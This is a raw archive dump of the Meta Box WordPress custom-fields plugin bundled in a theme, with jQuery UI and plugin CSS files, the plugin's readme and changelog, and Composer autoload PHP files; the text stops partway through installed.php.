 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	-ms-filter: "alpha(opacity=0)"; /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
	pointer-events: none;
}


/* Icons
----------------------------------*/
.ui-icon {
	display: inline-block;
	vertical-align: middle;
	margin-top: -.25em;
	position: relative;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}

.ui-widget-icon-block {
	left: 50%;
	margin-left: -8px;
	display: block;
}

/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}PK     N\am  m  J  inc/dashboard/lib/meta-box/css/jqueryui/jquery-ui-timepicker-addon.min.cssnu [        /*! jQuery Timepicker Addon - v1.6.3 - 2016-04-20
* http://trentrichardson.com/examples/timepicker
* Copyright (c) 2016 Trent Richardson; Licensed MIT */

.ui-timepicker-div .ui-widget-header{margin-bottom:8px}.ui-timepicker-div dl{text-align:left}.ui-timepicker-div dl dt{float:left;clear:left;padding:0 0 0 5px}.ui-timepicker-div dl dd{margin:0 10px 10px 40%}.ui-timepicker-div td{font-size:90%}.ui-tpicker-grid-label{background:0 0;border:0;margin:0;padding:0}.ui-timepicker-div .ui_tpicker_unit_hide{display:none}.ui-timepicker-div .ui_tpicker_time .ui_tpicker_time_input{background:0 0;color:inherit;border:0;outline:0;border-bottom:solid 1px #555;width:95%}.ui-timepicker-div .ui_tpicker_time .ui_tpicker_time_input:focus{border-bottom-color:#aaa}.ui-timepicker-rtl{direction:rtl}.ui-timepicker-rtl dl{text-align:right;padding:0 5px 0 0}.ui-timepicker-rtl dl dt{float:right;clear:right}.ui-timepicker-rtl dl dd{margin:0 40% 10px 10px}.ui-timepicker-div.ui-timepicker-oneLine{padding-right:2px}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_time,.ui-timepicker-div.ui-timepicker-oneLine dt{display:none}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_time_label{display:block;padding-top:2px}.ui-timepicker-div.ui-timepicker-oneLine dl{text-align:right}.ui-timepicker-div.ui-timepicker-oneLine dl dd,.ui-timepicker-div.ui-timepicker-oneLine dl dd>div{display:inline-block;margin:0}.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_minute:before,.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_second:before{content:':';display:inline-block}.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_millisec:before,.ui-timepicker-div.ui-timepicker-oneLine dl dd.ui_tpicker_microsec:before{content:'.';display:inline-block}.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_unit_hide,.ui-timepicker-div.ui-timepicker-oneLine .ui_tpicker_unit_hide:before{display:none}PK     N\s	N  N  2  inc/dashboard/lib/meta-box/css/jqueryui/slider.cssnu [        /*!
 * jQuery UI Slider 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/slider/#theming
 */
.ui-slider {
	position: relative;
	text-align: left;
}
.ui-slider .ui-slider-handle {
	position: absolute;
	z-index: 2;
	width: 1.2em;
	height: 1.2em;
	cursor: pointer;
	-ms-touch-action: none;
	touch-action: none;
}
.ui-slider .ui-slider-range {
	position: absolute;
	z-index: 1;
	font-size: .7em;
	display: block;
	border: 0;
	background-position: 0 0;
}

/* support: IE8 - See #6727 */
.ui-slider.ui-state-disabled .ui-slider-handle,
.ui-slider.ui-state-disabled .ui-slider-range {
	filter: inherit;
}

.ui-slider-horizontal {
	height: .8em;
}
.ui-slider-horizontal .ui-slider-handle {
	top: -.3em;
	margin-left: -.6em;
}
.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}
.ui-slider-horizontal .ui-slider-range-min {
	left: 0;
}
.ui-slider-horizontal .ui-slider-range-max {
	right: 0;
}

.ui-slider-vertical {
	width: .8em;
	height: 100px;
}
.ui-slider-vertical .ui-slider-handle {
	left: -.3em;
	margin-left: 0;
	margin-bottom: -.6em;
}
.ui-slider-vertical .ui-slider-range {
	left: 0;
	width: 100%;
}
.ui-slider-vertical .ui-slider-range-min {
	bottom: 0;
}
.ui-slider-vertical .ui-slider-range-max {
	top: 0;
}PK     N\t+x  x  /  inc/dashboard/lib/meta-box/css/image-select.cssnu [        .rwmb-image-select {
	display: inline-block;
	width: 80px;
	height: 80px;
	float: left;
	margin: 0 10px 10px 0;
	border: 3px solid #d8d8d8;
	border-radius: 3px;
	padding: 1px;
}
.rwmb-image-select img {
	width: 100%;
	height: 100%;
}
.rwmb-image-select:hover,
.rwmb-image-select.rwmb-active {
	border-color: #0074a2;
}
.rwmb-image_select.rwmb-image_select {
	display: none;
}
PK     N\F;j  j  (  inc/dashboard/lib/meta-box/css/input.cssnu [        .rwmb-input-group {
	display: flex;
	align-items: stretch;
}
.rwmb-input-group-text {
	display: flex;
	align-items: center;
	padding: 0 8px;
	background: #f0f0f0;
	border: 1px solid #7e8993;
	border-radius: 4px;
	white-space: nowrap;
}
.rwmb-input-group-text:first-child,
.rwmb-input-group input:not(:last-child) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
}
.rwmb-input-group-text:last-child,
.rwmb-input-group input:not(:first-child) {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
}
.rwmb-input-group input {
	margin: 0;
}
.rwmb-input-group :not(:first-child) {
	margin-left: -1px;
}PK     N\      ,  inc/dashboard/lib/meta-box/css/style-rtl.cssnu [        .rwmb-label, .rwmb-input{
	float: right;
}
label.error{
	padding-left: auto;
	padding-right: 3px;
}
.rwmb-button.remove-clone {
	right: auto;
	left: 0;
}
PK     N\˳U 	  	  /  inc/dashboard/lib/meta-box/css/button-group.cssnu [        .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #2271b1);
}

.rwmb-button-input-list .rwmb-button_group {
	display: none;
}
.rwmb-button-input-list label {
	display: block;
	border: 1px solid #8c8f94;
	position: relative;
	z-index: 1;
	padding: 5px 10px;
	background: #fff;
}
.rwmb-button-input-list .selected {
	border-color: var(--color);
	background: var(--color);
	color: #fff;
	z-index: 2;
}

/* Layout not inline */
.rwmb-button-input-list:not(.rwmb-inline) label:not(:first-child) {
	 border-top-width: 0;
}
.rwmb-button-input-list:not(.rwmb-inline) .selected:not(:last-child) {
	border-bottom-color: rgba(255, 255, 255, .25);
}
.rwmb-button-input-list:not(.rwmb-inline) > label:first-child:not(:last-child) {
	border-top-left-radius: 3px;
	border-top-right-radius: 3px;
}
.rwmb-button-input-list:not(.rwmb-inline)  > label:last-child:not(:first-child) {
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
}

/*  Layout inline */
.rwmb-button-input-list.rwmb-inline {
	display: flex;
}
.rwmb-button-input-list.rwmb-inline label:not(:first-child) {
	border-left-width: 0;
}
.rwmb-button-input-list.rwmb-inline .selected:not(:last-child) {
	border-right-color: rgba(255, 255, 255, .25);
}
.rwmb-button-input-list.rwmb-inline > label:first-child:not(:last-child) {
	border-top-left-radius: 3px;
	border-bottom-left-radius: 3px;
}
.rwmb-button-input-list.rwmb-inline > label:last-child:not(:first-child) {
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

/* Admin color schemes */
.admin-color-blue .rwmb-button-input-list  {
	--color: var(--wp-admin-theme-color, #e1a948);
}
.admin-color-coffee .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #c7a589);
}
.admin-color-ectoplasm .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #a3b745);
}
.admin-color-light .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #04a4cc);
}
.admin-color-midnight .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #e14d43);
}
.admin-color-modern .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #3858e9);
}
.admin-color-ocean .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #9ebaa0);
}
.admin-color-sunrise .rwmb-button-input-list {
	--color: var(--wp-admin-theme-color, #dd823b);
}PK     N\ao  o  -  inc/dashboard/lib/meta-box/css/file-input.cssnu [        .rwmb-file-input-inner {
	width: 100%;
	display: flex;
	align-items: center;
	grid-gap: 4px;
}
.rwmb-file_input {
	margin: 0 4px 0 0;
}
.rwmb-file-input-inner .button {
	margin: 0;
}
.rwmb-file-input-image {
	width: 150px;
	height: auto;
	margin-bottom: 4px;
}
.rwmb-file-input-image img{
	max-width: 100%;
	height: auto;
}
.rwmb-file-input-hidden{
	display: none;
}
PK     N\L*    ,  inc/dashboard/lib/meta-box/css/text-list.cssnu [        .rwmb-text_list-non-cloneable > .rwmb-input,
.rwmb-text_list-clone {
	display: flex;
	flex-wrap: wrap;
}
.rwmb-text_list-non-cloneable > .rwmb-input > label,
.rwmb-text_list-clone > label {
	margin: 0 10px 10px 0;
	flex: 1;
}
.rwmb-text_list-non-cloneable > .rwmb-input > label:last-child,
.rwmb-text_list-clone > label:last-child {
	margin-right: 0;
}

.rwmb-text-list-label {
	font-weight: 600;
	display: block;
	margin-bottom: 3px;
}
PK     N\^#      '  inc/dashboard/lib/meta-box/css/icon.cssnu [        .rwmb-icon-select {
    display: flex;
    align-items: center;
    gap: 8px;
}

.rwmb-icon-select i {
    width: 16px;
}

.rwmb-icon-select svg {
  width: 16px;
  height: 16px;
}PK     N\7I    &  inc/dashboard/lib/meta-box/css/osm.cssnu [        .rwmb-osm-canvas {
	width: 100%;
	height: 400px;
	margin-bottom: 10px;
}

/* Autocomplete style, copy from WordPress's common.css and forms.css */

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #5b9dd9;
	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: left;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #ddd;
}

.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}
PK     N\n?2    *  inc/dashboard/lib/meta-box/css/wysiwyg.cssnu [        .rwmb-field .mceIframeContainer {
	background: #fff;
}
.rwmb-wysiwyg-clone {
	padding-top: 20px;
}

/* Fix style for Gutenberg */
.block-editor .wp-editor-wrap {
	box-sizing: content-box;
}

/* Fix fullscreen mode still shows admin menu */
div.mce-fullscreen {
	z-index: 999999;
}PK     N\s,9  9  (  inc/dashboard/lib/meta-box/css/modal.cssnu [        .rwmb-modal-add-button {
	display: inline-block;
	margin-top: 6px;
}

body.rwmb-modal-show,
body.rwmb-modal-show .interface-interface-skeleton__sidebar {
	overflow: hidden;
}

/* Mimic style of media modal */
.rwmb-modal {
	position: fixed;
	top: 30px;
	left: 30px;
	right: 30px;
	bottom: 30px;
	z-index: 160000;
	overflow: hidden;
	display: none;
}

.rwmb-modal-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
	display: none;
}

.rwmb-modal-title {
	background: #f0f0f1;
	border-bottom: 1px solid #c3c4c7;
	position: relative;
}

.rwmb-modal-title h2 {
	font-size: 22px;
	line-height: 50px;
	padding: 0 20px;
	margin: 0;
}

.rwmb-modal-close {
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 50px;
	font-size: 22px;
	line-height: 50px;
	margin: 0;
	padding: 0;
	border: none;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out;
}
.rwmb-modal-close:hover,
.rwmb-modal-close:active {
	color: #135e96;
}PK     N\aĉ\	  \	  )  inc/dashboard/lib/meta-box/css/switch.cssnu [        .rwmb-switch-label {
	position: relative;
	display: inline-block;
	background-color: #ccc;
	padding: 2px;
	border-radius: 3px;
	min-width: 40px;
	height: 22px;
	box-sizing: border-box;

	--color: var(--wp-admin-theme-color, #2271b1);
}

.rwmb-switch.rwmb-switch {
	display: none;
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-slider {
	background-color: var(--color);
	box-shadow: 0 0 1px var(--color);
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-slider:before {
	left: calc(100% - 20px);
}

.rwmb-switch:checked + .rwmb-switch-status .rwmb-switch-off {
	visibility: hidden;
	display: none;
}

.rwmb-switch:not(:checked) + .rwmb-switch-status .rwmb-switch-on {
	visibility: hidden;
	display: none;
}

.rwmb-switch-slider {
	position: absolute;
	cursor: pointer;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 15;
	transition: .4s;
}

.rwmb-switch-slider:before {
	position: absolute;
	content: attr(title-before) "";
	height: 18px;
	width: 18px;
	left: 2px;
	bottom: 2px;
	z-index: 99;
	background-color: white;
	transition: .4s;
	border-radius: 2px;
}

.rwmb-switch-label--square .rwmb-switch-slider {
	border-radius: 3px;
}

.rwmb-switch-label--rounded,
.rwmb-switch-label--rounded .rwmb-switch-slider {
	border-radius: 34px;
}

.rwmb-switch-label--rounded .rwmb-switch-slider:before {
	border-radius: 50%;
}

.rwmb-switch-on,
.rwmb-switch-off {
	display: inline-block;
	float: left;
	margin: 0 4px;
	color: #fff;
	text-transform: uppercase;
	font-size: 11px;
	position: relative;
	z-index: 20;
	line-height: 18px;
}

.rwmb-switch-on {
	padding-right: 20px;
}

.rwmb-switch-off {
	padding-left: 20px;
}

/* Admin color schemes */
.admin-color-blue .rwmb-switch-label  {
	--color: var(--wp-admin-theme-color, #e1a948);
}
.admin-color-coffee .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #c7a589);
}
.admin-color-ectoplasm .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #a3b745);
}
.admin-color-light .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #04a4cc);
}
.admin-color-midnight .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #e14d43);
}
.admin-color-modern .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #3858e9);
}
.admin-color-ocean .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #9ebaa0);
}
.admin-color-sunrise .rwmb-switch-label {
	--color: var(--wp-admin-theme-color, #dd823b);
}
PK     N\e9      *  inc/dashboard/lib/meta-box/css/heading.cssnu [        .rwmb-heading-wrapper {
	display: block;
}
.rwmb-heading-wrapper h4 {
	display: block;
	font-size: .75rem;
	line-height: 1.4;
	border-bottom: 1px solid rgb(230, 230, 230);
	text-transform: uppercase;
	padding: .75rem 0 .375rem;
	margin: 0 0 6px;
}
PK     N\    )  inc/dashboard/lib/meta-box/css/slider.cssnu [        .rwmb-slider-inner {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.rwmb-slider-ui {
	flex: 1;
}
.rwmb-slider-label {
	margin-left: 8px;
}

/* Fix slider handle being visible through jQuery panel */
.ui-slider .ui-slider-handle {
	z-index: 1;
}
PK     N\X3D   D   /  inc/dashboard/lib/meta-box/css/osm-frontend.cssnu [        img.leaflet-marker-icon {
	margin-left: -12px;
	margin-top: -41px;
}PK     N\!  !  '  inc/dashboard/lib/meta-box/css/file.cssnu [        .rwmb-files {
	margin: 0;
	overflow: hidden;
}
.rwmb-file {
	display: flex;
	align-items: flex-start;
	margin-bottom: 12px;
	cursor: move;
}
.rwmb-file-icon {
	width: 48px;
	height: 64px;
	margin-right: 8px;
	border: 1px solid rgba(0, 0, 0, .07);
	display: flex;
	align-items: center;
	justify-content: center;
}
.rwmb-file-icon img {
	max-width: 100%;
	max-height: 100%;
	height: auto;
	display: block;
}
.rwmb-file-title {
	font-weight: 600;
	text-decoration: none;
}
.rwmb-file-name {
	margin: 2px 0 6px;
	white-space: nowrap;
}
.rwmb-file-actions {
	font-size: 11px;
}
.rwmb-file-edit,
.rwmb-file-delete {
	color: inherit;
	text-decoration: none;
}
.rwmb-file-edit:after {
	content: "|";
	color: #dcdcde;
	margin: 0 6px;
}
.rwmb-file-delete {
	color: #b32d2e;
}
.rwmb-file-input {
	width: 100%;
}
PK     N\f6  6  %  inc/dashboard/lib/meta-box/readme.txtnu [        === Meta Box - WordPress Custom Fields Framework ===
Contributors: elightup, metabox, rilwis, f-j-kaiser, funkatronic, PerWiklander, ruanmer
Donate link: https://metabox.io/pricing/
Tags: custom fields, custom post types, post type, custom taxonomies, meta box
Requires at least: 5.9
Requires PHP: 7.0
Tested up to: 6.5.2
Stable tag: 5.9.7
License: GPLv2 or later

Meta Box plugin is a powerful, professional developer toolkit to create custom meta boxes and custom fields for your custom post types in WordPress.

== Description ==

**Meta Box is a powerful, professional, and lightweight toolkit for developers to create custom meta boxes and custom fields for any custom post type in WordPress.**

Meta Box helps you add [https://metabox.io/what-is-custom-fields-in-wordpress/](https://metabox.io) and details on your website such as pages, posts, custom post types, forms and anywhere you want using over 40 different field types such as text, images, file upload, checkboxes, and more.

On top of that, each WordPress custom field type has extensive internal options for unlimited content possibilities. Complete customization and control is just a few clicks away.

Adding WordPress custom fields and custom meta boxes for custom post types is quick and painless: Select the field types you want in the user-friendly [Online Generator](https://metabox.io/online-generator/), then copy and paste the code into your child theme's `functions.php` file.

**Boom! All the power with none of the bloat.**

There are also free and premium extensions available to add enhanced capabilities. You can manage the display and organization of your WordPress custom fields, the conditions upon which they appear, and become the ultimate WordPress data wizard.

You can also check out the [full list of extensions](https://metabox.io/plugins/) and [MetaBox.io](https://metabox.io) for details.

### Features

#### Create any type of metadata or custom fields in WordPress

That's right – any type. No matter where you need to insert custom data and features, Meta Box's WordPress custom fields have your back, and with infinite options to boot.

**Here are just a few of the data types you can customize:**

- Posts
- Pages
- Custom post types (you can also use our free plugin [MB Custom Post Types & Custom Taxonomies](https://metabox.io/plugins/custom-post-type/) to create custom post types and custom taxonomies)
- [Taxonomies](https://metabox.io/plugins/mb-term-meta/)
- [Settings pages or Customizer sections](https://metabox.io/plugins/mb-settings-page/)
- [User profile pages](https://metabox.io/plugins/mb-user-profile/)
- [Post comments](https://metabox.io/plugins/mb-comment-meta/)
- [And even more data types](https://docs.metabox.io/field-settings/) than Batman has tools on his utility belt.

#### A wide-range of field types and options

Take your standard WordPress custom field and imagine it infinitely expanded. That's how many options Meta Box gives you:

- Meta Box supports [40+ built-in WordPress custom field types](https://docs.metabox.io/field-settings/) for all your needs including text, textarea, WYSIWYG editor, image, file, post, select, checkbox, radio buttons, date/time picker, taxonomy, user, oembed and more to come.
- Not enough? You can also [effortlessly create your own field type](https://docs.metabox.io/custom-field-type/).
- Meta Box supports cloning fields for most field types including the WYSIWYG editor field. It also supports [repeatable field groups](https://metabox.io/plugins/meta-box-group/).

#### It's developer-friendly

As a developer, you have enough on your plate. You shouldn't have to create an entirely new system for each project. Use Meta Box to your full advantage.

You can use Meta Box and its custom fields for any custom post type in WordPress on as many websites as you want so you can use it on client projects as well.

- Has an ultra-lightweight, yet powerful API that won't overload your site.
- Add only what you need instead of getting stuck with a bundle of features you don't even want that bloat your site.
- Meta Box [easily integrates with any theme and plugin](https://docs.metabox.io/integration/), and supports Composer!
- We use the [native WordPress meta data storage](https://docs.metabox.io/database/) and functions for ease of use and lightning-fast processing.
- Has a lot of [actions](https://docs.metabox.io/category/actions/) and [filters](https://docs.metabox.io/category/filters/) so you can build or change a site's appearance and behavior in the plugin.

#### Don't love coding? You're in luck!

If you prefer a more visual system to create custom fields in WordPress, you can choose one or all of the extensions below:

- [MB Custom Post Types & Custom Taxonomies](https://wordpress.org/plugins/mb-custom-post-type/)
- [Meta Box Builder](https://metabox.io/plugins/meta-box-builder/)

These plugins have a ton of features to make quick work of any project:

- All the power of Meta Box without touching a single line of code.
- Designer-friendly, lightweight and work at top-notch speeds.
- Export your custom fields and settings to PHP. Then, add it to a new site without needing to install this extension for an incredibly lightweight option.

### Extensions

#### Free Extensions

- [MB ACF Migration](https://metabox.io/plugins/mb-acf-migration/): Migrate field groups and custom field data from Advanced Custom Fields (ACF) to Meta Box.
- [MB Comment Meta](https://metabox.io/plugins/mb-comment-meta/): Add WordPress custom fields to comments in WordPress.
- [MB Custom Post Types & Custom Taxonomies](https://metabox.io/plugins/custom-post-type/): Create and manage custom post types and taxonomies with UI.
- [MB Relationships](https://wordpress.org/plugins/mb-relationships/): Create as many connections as you want from post-to-post or page-to-page.
- [MB Rank Math](https://metabox.io/plugins/mb-rank-math/): Add content of custom fields to Rank Math Content Analysis to have better/correct SEO score.
- [MB Rest API](https://metabox.io/plugins/mb-rest-api/): Pull all meta values from posts and terms into the WP REST API responses.
- [MB Toolset Migration](https://metabox.io/plugins/mb-toolset-migration/): Migrate custom post types & taxonomies, field groups, custom field data, and relationships from Toolset to Meta Box.
- [Meta Box – Beaver Themer Integrator](https://metabox.io/plugins/meta-box-beaver-themer-integrator/): Integrates Meta Box and Beaver Themer to show custom fields on the frontend.
- [Meta Box – Elementor Integrator](https://metabox.io/plugins/mb-elementor-integrator/): Connect and display custom fields created by the Meta Box plugin in the Elementor's dynamic tags.
- [Meta Box – FacetWP Integrator](https://metabox.io/plugins/meta-box-facetwp-integrator/): Integrates Meta Box and FacetWP to make custom fields searchable and filterable.
- [Meta Box Text Limiter](https://wordpress.org/plugins/meta-box-text-limiter/): Limit the number of characters or words entered for text and textarea fields.
- [Meta Box Yoast SEO](https://wordpress.org/plugins/meta-box-yoast-seo/): Add WordPress custom fields to Yoast SEO Content Analysis to generate more accurate SEO scores.

#### Premium Extensions

- [MB Admin Columns](https://metabox.io/plugins/mb-admin-columns/): Display WordPress custom fields in table columns in admin.
- [MB Blocks](https://metabox.io/plugins/mb-blocks/): Create custom Gutenberg blocks with PHP, using the same syntax in Meta Box.
- [MB Custom Table](https://metabox.io/plugins/mb-custom-table/): Save custom fields to custom tables instead of the default meta tables to reduce your database's size and increase its performance.
- [MB Frontend Submission](https://metabox.io/plugins/mb-frontend-submission/): Create frontend forms for users to submit posts.
- [MB Revision](https://metabox.io/plugins/mb-revision/): Track changes to custom fields in WordPress with revisions. You can compare and restore the changes smoothly.
- [MB Settings Page](https://metabox.io/plugins/mb-settings-page/): Create settings pages for themes, plugins or websites with beautiful syntax.
- [MB Term Meta](https://metabox.io/plugins/mb-term-meta/): Add custom fields to categories, tags or custom taxonomies.
- [MB User Meta](https://metabox.io/plugins/mb-user-meta/): Add custom fields to users.
- [MB Views](https://metabox.io/plugins/mb-views/): Outputting custom fields and build front-end templates for WordPress without touching theme files.
- [Meta Box Builder](https://metabox.io/plugins/meta-box-builder/): Create custom meta boxes and custom fields in WordPress using a user-friendly drag-and-drop interface.
- [Meta Box Columns](https://metabox.io/plugins/meta-box-columns/): Display eye-catching custom fields in WordPress by putting them into 12-column grids.
- [Meta Box Conditional Logic](https://metabox.io/plugins/meta-box-conditional-logic/): Add visibility dependency for custom meta boxes and custom fields in WordPress.
- [Meta Box Geolocation](https://metabox.io/plugins/meta-box-geolocation/): Automatically and instantly populate location data with the power of the Google Maps Geolocation API.
- [Meta Box Group](https://metabox.io/plugins/meta-box-group/): Create repeatable groups for better appearance and structure.
- [Meta Box Include Exclude](https://metabox.io/plugins/meta-box-include-exclude/): Show or hide meta boxes by ID, page template, taxonomy, or custom function.
- [Meta Box Show Hide](https://metabox.io/plugins/meta-box-show-hide-javascript/): Toggle meta boxes by page template, post format, taxonomy and category.
- [Meta Box Tabs](https://metabox.io/plugins/meta-box-tabs/): Painlessly create tabs for meta boxes with multiple styles and icons.
- [Meta Box Template](https://metabox.io/plugins/meta-box-template/): Make defining custom meta boxes and WordPress custom fields way easier with templates.
- [Meta Box Tooltip](https://metabox.io/plugins/meta-box-tooltip/): Display help information for custom fields with tooltips.

### Detailed Documentation

We provide regularly updated, and extensive documentation as well as tutorials on how to use MetaBox and custom fields in WordPress to your advantage as well as in the most efficient way possible.

Here are a few guides to quickly get you started with Meta Box and creating your own WordPress custom fields:

- [Introduction](https://docs.metabox.io/introduction/)
- [Custom post types](https://docs.metabox.io/custom-post-types/)
- [Custom fields](https://docs.metabox.io/custom-fields/)
- [Field settings](https://docs.metabox.io/field-settings/)
- [Displaying fields](https://docs.metabox.io/displaying-fields-with-code/)

Check out more on the [Meta Box Documentation](https://docs.metabox.io/) page.

### You might also like

If you like this plugin, you might also like our other WordPress products:

- [Slim SEO](https://wpslimseo.com) - A fast, lightweight and full-featured SEO plugin for WordPress with minimal configuration.
- [Slim SEO Schema](https://wpslimseo.com/products/slim-seo-schema/) - An advanced, powerful and flexible plugin to add schemas to WordPress.
- [Slim SEO Link Manager](https://wpslimseo.com/products/slim-seo-link-manager/) - Build internal link easier in WordPress with real-time reports.
- [GretaThemes](https://gretathemes.com) - Free and premium WordPress themes that clean, simple and just work.
- [Auto Listings](https://wpautolistings.com) - A car sale and dealership plugin for WordPress.

== Installation ==

1. Visit **Plugins > Add New**
1. Search for **Meta Box**
1. Click the **Install Now** button to install the plugin
1. Click the **Activate** button to activate the plugin

[Get started here](https://docs.metabox.io/introduction/).

== Frequently Asked Questions ==

== Screenshots ==
1. Text Fields
1. Basic Fields
1. Advanced Fields
1. File Image Upload Fields
1. Media Fields
1. Post Taxonomy Fields

== Changelog ==

= 5.9.7 - 2024-04-18 =
- Revert fix for Meta Box Conditional Logic

= 5.9.6 - 2024-04-17 =
- Add progress bar for field `file_upload`
- Force returned value of sanitize color to string
- Enqueue assets for FSE and widget (with block editor) screens
- Fix jumping layout for Meta Box Conditional Logic
- Fix errors when using cloneable map/osm fields

= 5.9.5 - 2024-03-26 =
- Add `save_format` settings to `time` field
- Field icon SVG not displaying

= 5.9.4 - 2024-02-27 =
- Fix security issue when users set object id in the helper functions where they don't have permission to view (such as private posts)

= 5.9.3 - 2024-02-02 =

**Highlights:**

Fix security issue of the output shortcode `[rwmb_meta]` not escaping. Users can disable escaping (to revert the previous behavior) by adding this snippet:

`add_filter( 'rwmb_meta_shortcode_secure', '__return_false' );
// or
add_filter( 'rwmb_meta_shortcode_secure_{$field_id}', '__return_false' );`

Other changes:

- Fix compatibility with PHP 8.3
- Fix not showing more than 10 saved users or terms

= 5.9.2 - 2024-01-22 =
- Validation: fix PHP warning when fields has non-consecutive keys
- Icon field: fix custom icon not working
- Update jQuery Validation to 1.20.0. Props Maarten.
- Prepare css to be inlined. Props Maarten.

= 5.9.1 - 2023-12-25 =
- Fix preview posts not working in the block editor in WP 6.4.
- Icon field: allow to set relative path/URL for settings
- Icon field: add support for scanning CSS file (`icon_css` setting) and parsing CSS class
- Autocomplete field: fix not saving first value if the value is 0 (integer).

= 5.9.0 - 2023-11-22 =

**Highlights:**

Add new `icon` field type, which supports Font Awesome Free, Font Awesome Pro and custom icon set. Can be used with icon font with CSS file or with SVGs. See the [plugin docs](https://docs.metabox.io/fields/icon/) for how to use it.

The `icon` field type will be added to the new version of Meta Box Builder soon, which will allow you to configure its settings with UI.

[See full changelog here](https://metabox.io/changelog/).

== Upgrade Notice ==
PK     N\ۆ1    .  inc/dashboard/lib/meta-box/vendor/autoload.phpnu [        <?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, $err);
        } elseif (!headers_sent()) {
            echo $err;
        }
    }
    trigger_error(
        $err,
        E_USER_ERROR
    );
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa::getLoader();
PK     N\/t      B  inc/dashboard/lib/meta-box/vendor/composer/autoload_namespaces.phpnu [        <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
);
PK     N\5И    8  inc/dashboard/lib/meta-box/vendor/composer/installed.phpnu [        <?php return array(
    'root' => array(
        'name' => 'wpmetabox/meta-box',
        'pretty_version' => '5.9.7',
        'version' => '5.9.7.0',
        'reference' => '2f116e4391f028221c20bdde01f2a1e63a4ded97',
        'type' => 'wordpress-plugin',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'dev' => true,
    ),
    'versions' => array(
        'wpmetabox/meta-box' => array(
            'pretty_version' => '5.9.7',
            'version' => '5.9.7.0',
            'reference' => '2f116e4391f028221c20bdde01f2a1e63a4ded97',
            'type' => 'wordpress-plugin',
